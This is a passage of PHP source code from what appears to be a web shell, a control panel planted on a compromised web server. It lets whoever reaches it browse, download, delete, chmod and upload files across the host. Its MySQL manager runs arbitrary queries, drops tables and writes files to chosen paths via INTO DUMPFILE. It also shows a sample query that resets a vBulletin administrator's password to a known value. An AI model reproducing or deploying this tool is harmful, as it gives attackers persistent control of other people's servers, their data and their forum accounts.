  722. header('Accept-Ranges: bytes');
  724. header('Accept-Length: '.strlen($code));
  726. header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'sql.gz');
  728. echo $code;
  730. exit;
  732. } else {
  734. m('Please select file(s)');
  736. }
  738. }
  744. elseif($doing == 'delfiles') {
  746. if ($dl) {
  748. $dfiles='';
  750. $succ = $fail = 0;
  752. foreach ($dl as $filepath => $value) {
  754. if (@unlink($filepath)) {
  756. $succ++;
  758. } else {
  760. $fail++;
  762. }
  764. }
  766. m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  768. } else {
  770. m('Please select file(s)');
  772. }
  774. }
  780. formhead(array('name'=>'createdir'));
  782. makehide('newdirname');
  784. makehide('dir',$nowpath);
  786. formfoot();
  788. formhead(array('name'=>'fileperm'));
  790. makehide('newperm');
  792. makehide('pfile');
  794. makehide('dir',$nowpath);
  796. formfoot();
  798. formhead(array('name'=>'copyfile'));
  800. makehide('sname');
  802. makehide('tofile');
  804. makehide('dir',$nowpath);
  806. formfoot();
  808. formhead(array('name'=>'rename'));
  810. makehide('oldname');
  812. makehide('newfilename');
  814. makehide('dir',$nowpath);
  816. formfoot();
  818. formhead(array('name'=>'fileopform'));
  820. makehide('action');
  822. makehide('opfile');
  824. makehide('dir');
  826. formfoot();
  830. $free = @disk_free_space($nowpath);
  832. !$free && $free = 0;
  834. $all = @disk_total_space($nowpath);
  836. !$all && $all = 0;
  838. $used = $all-$free;
  840. $used_percent = @round(100/($all/$free),2);
  842. p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  846. ?>
  848. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  850. <form action="" method="post" id="godir" name="godir">
  852. <tr>
  854. <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  856. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  858. <td nowrap><input class="bt" value="GO" type="submit"></td>
  860. </tr>
  862. </form>
  864. </table>
  866. <script type="text/javascript">
  868. function createdir(){
  870. var newdirname;
  872. newdirname = prompt('Please input the directory name:', '');
  874. if (!newdirname) return;
  876. $('createdir').newdirname.value=newdirname;
  878. $('createdir').submit();
  880. }
  882. function fileperm(pfile){
  884. var newperm;
  886. newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  888. if (!newperm) return;
  890. $('fileperm').newperm.value=newperm;
  892. $('fileperm').pfile.value=pfile;
  894. $('fileperm').submit();
  896. }
  898. function copyfile(sname){
  900. var tofile;
  902. tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  904. if (!tofile) return;
  906. $('copyfile').tofile.value=tofile;
  908. $('copyfile').sname.value=sname;
  910. $('copyfile').submit();
  912. }
  914. function rename(oldname){
  916. var newfilename;
  918. newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  920. if (!newfilename) return;
  922. $('rename').newfilename.value=newfilename;
  924. $('rename').oldname.value=oldname;
  926. $('rename').submit();
  928. }
  930. function dofile(doing,thefile,m){
  932. if (m && !confirm(m)) {
  934. return;
  936. }
  938. $('filelist').doing.value=doing;
  940. if (thefile){
  942. $('filelist').thefile.value=thefile;
  944. }
  946. $('filelist').submit();
  948. }
  950. function createfile(nowpath){
  952. var filename;
  954. filename = prompt('Please input the file name:', '');
  956. if (!filename) return;
  958. opfile('editfile',nowpath + filename,nowpath);
  960. }
  962. function opfile(action,opfile,dir){
  964. $('fileopform').action.value=action;
  966. $('fileopform').opfile.value=opfile;
  968. $('fileopform').dir.value=dir;
  970. $('fileopform').submit();
  972. }
  974. function godir(dir,view_writable){
  976. if (view_writable) {
  978. $('godir').view_writable.value=1;
  980. }
  982. $('godir').dir.value=dir;
  984. $('godir').submit();
  986. }
  988. </script>
  990. <?php
  992. tbhead();
  994. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  996. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  998. p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  1000. if ($view_writable) {
  1002. p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  1004. } else {
  1006. p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  1008. }
  1010. p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  1012. if (IS_WIN && IS_COM) {
  1014. $obj = new COM("scripting.filesystemobject");
  1016. if ($obj && is_object($obj)) {
  1018. $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  1020. foreach($obj->Drives as $drive) {
  1022. if ($drive->DriveType == 2) {
  1024. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  1026. } else {
  1028. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  1030. }
  1032. }
  1034. }
  1036. }
  1040. p('</td></tr></form>');
  1044. p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  1050. $dirdata=array();
  1052. $filedata=array();
  1056. if ($view_writable) {
  1058. $dirdata = GetList($nowpath);
  1060. } else {
  1064. $dirs=@opendir($dir);
  1066. while ($file=@readdir($dirs)) {
  1068. $filepath=$nowpath.$file;
  1070. if(@is_dir($filepath)){
  1072. $dirdb['filename']=$file;
  1074. $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  1076. $dirdb['dirchmod']=getChmod($filepath);
  1078. $dirdb['dirperm']=getPerms($filepath);
  1080. $dirdb['fileowner']=getUser($filepath);
  1082. $dirdb['dirlink']=$nowpath;
  1084. $dirdb['server_link']=$filepath;
  1086. $dirdb['client_link']=ue($filepath);
  1088. $dirdata[]=$dirdb;
  1090. } else {
  1092. $filedb['filename']=$file;
  1094. $filedb['size']=sizecount(@filesize($filepath));
  1096. $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  1098. $filedb['filechmod']=getChmod($filepath);
  1100. $filedb['fileperm']=getPerms($filepath);
  1102. $filedb['fileowner']=getUser($filepath);
  1104. $filedb['dirlink']=$nowpath;
  1106. $filedb['server_link']=$filepath;
  1108. $filedb['client_link']=ue($filepath);
  1110. $filedata[]=$filedb;
  1112. }
  1114. }
  1116. unset($dirdb);
  1118. unset($filedb);
  1120. @closedir($dirs);
  1122. }
  1124. @sort($dirdata);
  1126. @sort($filedata);
  1128. $dir_i = '0';
  1130. foreach($dirdata as $key => $dirdb){
  1132. if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  1134. $thisbg = bg();
  1136. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1138. p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  1140. p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  1142. p('<td nowrap>'.$dirdb['mtime'].'</td>');
  1144. p('<td nowrap>--</td>');
  1146. p('<td nowrap>');
  1148. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  1150. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  1152. p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  1154. p('</tr>');
  1156. $dir_i++;
  1158. } else {
  1160. if($dirdb['filename']=='..') {
  1162. p('<tr class=fout>');
  1164. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  1166. p('</tr>');
  1168. }
  1170. }
  1172. }
  1176. p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  1178. p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  1180. makehide('action','file');
  1182. makehide('thefile');
  1184. makehide('doing');
  1186. makehide('dir',$nowpath);
  1188. $file_i = '0';
  1190. foreach($filedata as $key => $filedb){
  1192. if($filedb['filename']!='..' && $filedb['filename']!='.') {
  1194. $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  1196. $thisbg = bg();
  1198. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1200. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  1202. p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  1204. p('<td nowrap>'.$filedb['mtime'].'</td>');
  1206. p('<td nowrap>'.$filedb['size'].'</td>');
  1208. p('<td nowrap>');
  1210. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  1212. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  1214. p('<td nowrap>');
  1216. p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  1218. p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  1220. p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  1222. p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  1224. p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  1226. p('</td></tr>');
  1228. $file_i++;
  1230. }
  1232. }
  1234. p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  1236. p('</form></table>');
  1238. }
  1242. elseif ($action == 'sqlfile') {
  1244. if($doing=="mysqlupload"){
  1246. $file = $_FILES['uploadfile'];
  1248. $filename = $file['tmp_name'];
  1250. if (file_exists($savepath)) {
  1252. m('The goal file has already existed');
  1254. } else {
  1256. if(!$filename) {
  1258. m('Please choose a file');
  1260. } else {
  1262. $fp=@fopen($filename,'r');
  1264. $contents=@fread($fp, filesize($filename));
  1266. @fclose($fp);
  1268. $contents = bin2hex($contents);
  1270. if(!$upname) $upname = $file['name'];
  1272. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1274. $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  1276. m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  1278. }
  1280. }
  1282. }
  1284. ?>
  1286. <script type="text/javascript">
  1288. function mysqlfile(doing){
  1290. if(!doing) return;
  1292. $('doing').value=doing;
  1294. $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  1296. $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  1298. $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  1300. $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  1302. $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  1304. $('mysqlfile').charset.value=$('dbinfo').charset.value;
  1306. $('mysqlfile').submit();
  1308. }
  1310. </script>
  1312. <?php
  1314. !$dbhost && $dbhost = 'localhost';
  1316. !$dbuser && $dbuser = 'root';
  1318. !$dbport && $dbport = '3306';
  1320. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  1322. formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  1324. makehide('action','sqlfile');
  1326. p('<p>');
  1328. p('DBHost:');
  1330. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  1332. p(':');
  1334. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  1336. p('DBUser:');
  1338. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  1340. p('DBPass:');
  1342. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  1344. p('DBName:');
  1346. makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  1348. p('DBCharset:');
  1350. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  1352. p('</p>');
  1354. formfoot();
  1356. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  1358. p('<h2>Upload file</h2>');
  1360. p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  1362. p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  1364. p('<h2>Download file</h2>');
  1366. p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  1368. makehide('dbhost');
  1370. makehide('dbport');
  1372. makehide('dbuser');
  1374. makehide('dbpass');
  1376. makehide('dbname');
  1378. makehide('charset');
  1380. makehide('doing');
  1382. makehide('action','sqlfile');
  1384. p('</form>');
  1386. }
  1390. elseif ($action == 'sqladmin') {
  1392. !$dbhost && $dbhost = 'localhost';
  1394. !$dbuser && $dbuser = 'root';
  1396. !$dbport && $dbport = '3306';
  1398. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  1400. if(isset($dbhost)){
  1402. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  1404. }
  1406. if(isset($dbuser)) {
  1408. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  1410. }
  1412. if(isset($dbpass)) {
  1414. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  1416. }
  1418. if(isset($dbport)) {
  1420. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  1422. }
  1424. if(isset($dbname)) {
  1426. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  1428. }
  1430. if(isset($charset)) {
  1432. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  1434. }
  1438. if ($doing == 'backupmysql' && $saveasfile) {
  1440. if (!$table) {
  1442. m('Please choose the table');
  1444. } else {
  1446. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1448. $table = array_flip($table);
  1450. $fp = @fopen($path,'w');
  1452. if ($fp) {
  1454. $result = q('SHOW tables');
  1456. if (!$result) p('<h2>'.mysql_error().'</h2>');
  1458. $mysqldata = '';
  1460. while ($currow = mysql_fetch_array($result)) {
  1462. if (isset($table[$currow[0]])) {
  1464. sqldumptable($currow[0], $fp);
  1466. }
  1468. }
  1470. fclose($fp);
  1472. $fileurl = str_replace(SA_ROOT,'',$path);
  1474. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  1476. mysql_close();
  1478. } else {
  1480. m('Backup failed');
  1482. }
  1484. }
  1486. }
  1488. if ($insert && $insertsql) {
  1490. $keystr = $valstr = $tmp = '';
  1492. foreach($insertsql as $key => $val) {
  1494. if ($val) {
  1496. $keystr .= $tmp.$key;
  1498. $valstr .= $tmp."'".addslashes($val)."'";
  1500. $tmp = ',';
  1502. }
  1504. }
  1506. if ($keystr && $valstr) {
  1508. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1510. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  1512. }
  1514. }
  1516. if ($update && $insertsql && $base64) {
  1518. $valstr = $tmp = '';
  1520. foreach($insertsql as $key => $val) {
  1522. $valstr .= $tmp.$key."='".addslashes($val)."'";
  1524. $tmp = ',';
  1526. }
  1528. if ($valstr) {
  1530. $where = base64_decode($base64);
  1532. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1534. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  1536. }
  1538. }
  1540. if ($doing == 'del' && $base64) {
  1542. $where = base64_decode($base64);
  1544. $delete_sql = "DELETE FROM $tablename WHERE $where";
  1546. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1548. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  1550. }
  1554. if ($tablename && $doing == 'drop') {
  1556. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  1558. if (q("DROP TABLE $tablename")) {
  1560. m('Drop table of success');
  1562. $tablename = '';
  1564. } else {
  1566. m(mysql_error());
  1568. }
  1570. }
  1574. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  1578. formhead(array('title'=>'MYSQL Manager'));
  1580. makehide('action','sqladmin');
  1582. p('<p>');
  1584. p('DBHost:');
  1586. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  1588. p(':');
  1590. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  1592. p('DBUser:');
  1594. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  1596. p('DBPass:');
  1598. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  1600. p('DBCharset:');
  1602. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  1604. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  1606. p('</p>');
  1608. formfoot();
  1610. ?>
  1612. <script type="text/javascript">
  1614. function editrecord(action, base64, tablename){
  1616. if (action == 'del') {
  1618. if (!confirm('Is or isn\'t deletion record?')) return;
  1620. }
  1622. $('recordlist').doing.value=action;
  1624. $('recordlist').base64.value=base64;
  1626. $('recordlist').tablename.value=tablename;
  1628. $('recordlist').submit();
  1630. }
  1632. function moddbname(dbname) {
  1634. if(!dbname) return;
  1636. $('setdbname').dbname.value=dbname;
  1638. $('setdbname').submit();
  1640. }
  1642. function settable(tablename,doing,page) {
  1644. if(!tablename) return;
  1646. if (doing) {
  1648. $('settable').doing.value=doing;
  1650. }
  1652. if (page) {
  1654. $('settable').page.value=page;
  1656. }
  1658. $('settable').tablename.value=tablename;
  1660. $('settable').submit();
  1662. }
  1664. </script>
  1666. <?php
  1670. formhead(array('name'=>'recordlist'));
  1672. makehide('doing');
  1674. makehide('action','sqladmin');
  1676. makehide('base64');
  1678. makehide('tablename');
  1680. p($dbform);
  1682. formfoot();
  1688. formhead(array('name'=>'setdbname'));
  1690. makehide('action','sqladmin');
  1692. p($dbform);
  1694. if (!$dbname) {
  1696. makehide('dbname');
  1698. }
  1700. formfoot();
  1706. formhead(array('name'=>'settable'));
  1708. makehide('action','sqladmin');
  1710. p($dbform);
  1712. makehide('tablename');
  1714. makehide('page',$page);
  1716. makehide('doing');
  1718. formfoot();
  1722. $cachetables = array();
  1724. $pagenum = 30;
  1726. $page = intval($page);
  1728. if($page) {
  1730. $start_limit = ($page - 1) * $pagenum;
  1732. } else {
  1734. $start_limit = 0;
  1736. $page = 1;
  1738. }
  1740. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  1742. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  1746. $mysqlver = mysql_get_server_info();
  1748. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  1750. $highver = $mysqlver > '4.1' ? 1 : 0;
  1756. $query = q("SHOW DATABASES");
  1758. $dbs = array();
  1760. $dbs[] = '-- Select a database --';
  1762. while($db = mysql_fetch_array($query)) {
  1764. $dbs[$db['Database']] = $db['Database'];
  1766. }
  1768. makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  1770. $tabledb = array();
  1772. if ($dbname) {
  1774. p('<p>');
  1776. p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  1778. if ($tablename) {
  1780. p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  1782. }
  1784. p('</p>');
  1786. mysql_select_db($dbname);
  1790. $getnumsql = '';
  1792. $runquery = 0;
  1794. if ($sql_query) {
  1796. $runquery = 1;
  1798. }
  1800. $allowedit = 0;
  1802. if ($tablename && !$sql_query) {
  1804. $sql_query = "SELECT * FROM $tablename";
  1806. $getnumsql = $sql_query;
  1808. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  1810. $allowedit = 1;
  1812. }
  1814. p('<form action="'.$self.'" method="POST">');
  1816. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  1818. </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  1820. makehide('tablename', $tablename);
  1822. makehide('action','sqladmin');
  1824. p($dbform);
  1826. p('</form>');
  1828. if ($tablename || ($runquery && $sql_query)) {
  1830. if ($doing == 'structure') {
  1832. $result = q("SHOW COLUMNS FROM $tablename");
  1834. $rowdb = array();
  1836. while($row = mysql_fetch_array($result)) {
  1838. $rowdb[] = $row;
  1840. }
  1842. p('<table border="0" cellpadding="3" cellspacing="0">');
  1844. p('<tr class="head">');
  1846. p('<td>Field</td>');
  1848. p('<td>Type</td>');
  1850. p('<td>Null</td>');
  1852. p('<td>Key</td>');
  1854. p('<td>Default</td>');
  1856. p('<td>Extra</td>');
  1858. p('</tr>');
  1860. foreach ($rowdb as $row) {
  1862. $thisbg = bg();
  1864. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1866. p('<td>'.$row['Field'].'</td>');
  1868. p('<td>'.$row['Type'].'</td>');
  1870. p('<td>'.$row['Null'].'&nbsp;</td>');
  1872. p('<td>'.$row['Key'].'&nbsp;</td>');
  1874. p('<td>'.$row['Default'].'&nbsp;</td>');
  1876. p('<td>'.$row['Extra'].'&nbsp;</td>');
  1878. p('</tr>');
  1880. }
  1882. tbfoot();
  1884. } elseif ($doing == 'insert' || $doing == 'edit') {
  1886. $result = q('SHOW COLUMNS FROM '.$tablename);
  1888. while ($row = mysql_fetch_array($result)) {
  1890. $rowdb[] = $row;
  1892. }
  1894. $rs = array();
  1896. if ($doing == 'insert') {
  1898. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1900. } else {
  1902. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1904. $where = base64_decode($base64);
  1906. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1908. $rs = mysql_fetch_array($result);
  1910. }
  1912. p('<form method="post" action="'.$self.'">');
  1914. p($dbform);
  1916. makehide('action','sqladmin');
  1918. makehide('tablename',$tablename);
  1920. p('<table border="0" cellpadding="3" cellspacing="0">');
  1922. foreach ($rowdb as $row) {
  1924. if ($rs[$row['Field']]) {
  1926. $value = htmlspecialchars($rs[$row['Field']]);
  1928. } else {
  1930. $value = '';
  1932. }
  1934. $thisbg = bg();
  1936. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1938. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1940. }
  1942. if ($doing == 'insert') {
  1944. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1946. } else {
  1948. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1950. makehide('base64', $base64);
  1952. }
  1954. p('</table></form>');
  1956. } else {
  1958. $querys = @explode(';',$sql_query);
  1960. foreach($querys as $num=>$query) {
  1962. if ($query) {
  1964. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1966. switch(qy($query))
  1968. {
  1970. case 0:
  1972. p('<h2>Error : '.mysql_error().'</h2>');
  1974. break;
  1976. case 1:
  1978. if (strtolower(substr($query,0,13)) == 'select * from') {
  1980. $allowedit = 1;
  1982. }
  1984. if ($getnumsql) {
  1986. $tatol = mysql_num_rows(q($getnumsql));
  1988. $multipage = multi($tatol, $pagenum, $page, $tablename);
  1990. }
  1992. if (!$tablename) {
  1994. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1996. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1998. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  2000. $tablename = $matches[1][0];
  2002. }
  2004. $result = q($query);
  2006. p($multipage);
  2008. p('<table border="0" cellpadding="3" cellspacing="0">');
  2010. p('<tr class="head">');
  2012. if ($allowedit) p('<td>Action</td>');
  2014. $fieldnum = @mysql_num_fields($result);
  2016. for($i=0;$i<$fieldnum;$i++){
  2018. $name = @mysql_field_name($result, $i);
  2020. $type = @mysql_field_type($result, $i);
  2022. $len = @mysql_field_len($result, $i);
  2024. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  2026. }
  2028. p('</tr>');
  2030. while($mn = @mysql_fetch_assoc($result)){
  2032. $thisbg = bg();
  2034. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  2036. $where = $tmp = $b1 = '';
  2038. foreach($mn as $key=>$inside){
  2040. if ($inside) {
  2042. $where .= $tmp.$key."='".addslashes($inside)."'";
  2044. $tmp = ' AND ';
  2046. }
  2048. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  2050. }
  2052. $where = base64_encode($where);
  2054. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  2056. p($b1);
  2058. p('</tr>');
  2060. unset($b1);
  2062. }
  2064. tbfoot();
  2066. p($multipage);
  2068. break;
  2070. case 2:
  2072. $ar = mysql_affected_rows();
  2074. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  2076. break;
  2078. }
  2080. }
  2082. }
  2084. }
  2086. } else {
  2088. $query = q("SHOW TABLE STATUS");
  2090. $table_num = $table_rows = $data_size = 0;
  2092. $tabledb = array();
  2094. while($table = mysql_fetch_array($query)) {
  2096. $data_size = $data_size + $table['Data_length'];
  2098. $table_rows = $table_rows + $table['Rows'];
  2100. $table['Data_length'] = sizecount($table['Data_length']);
  2102. $table_num++;
  2104. $tabledb[] = $table;
  2106. }
  2108. $data_size = sizecount($data_size);
  2110. unset($table);
  2112. p('<table border="0" cellpadding="0" cellspacing="0">');
  2114. p('<form action="'.$self.'" method="POST">');
  2116. makehide('action','sqladmin');
  2118. p($dbform);
  2120. p('<tr class="head">');
  2122. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  2124. p('<td>Name</td>');
  2126. p('<td>Rows</td>');
  2128. p('<td>Data_length</td>');
  2130. p('<td>Create_time</td>');
  2132. p('<td>Update_time</td>');
  2134. if ($highver) {
  2136. p('<td>Engine</td>');
  2138. p('<td>Collation</td>');
  2140. }
  2142. p('</tr>');
  2144. foreach ($tabledb as $key => $table) {
  2146. $thisbg = bg();
  2148. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  2150. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
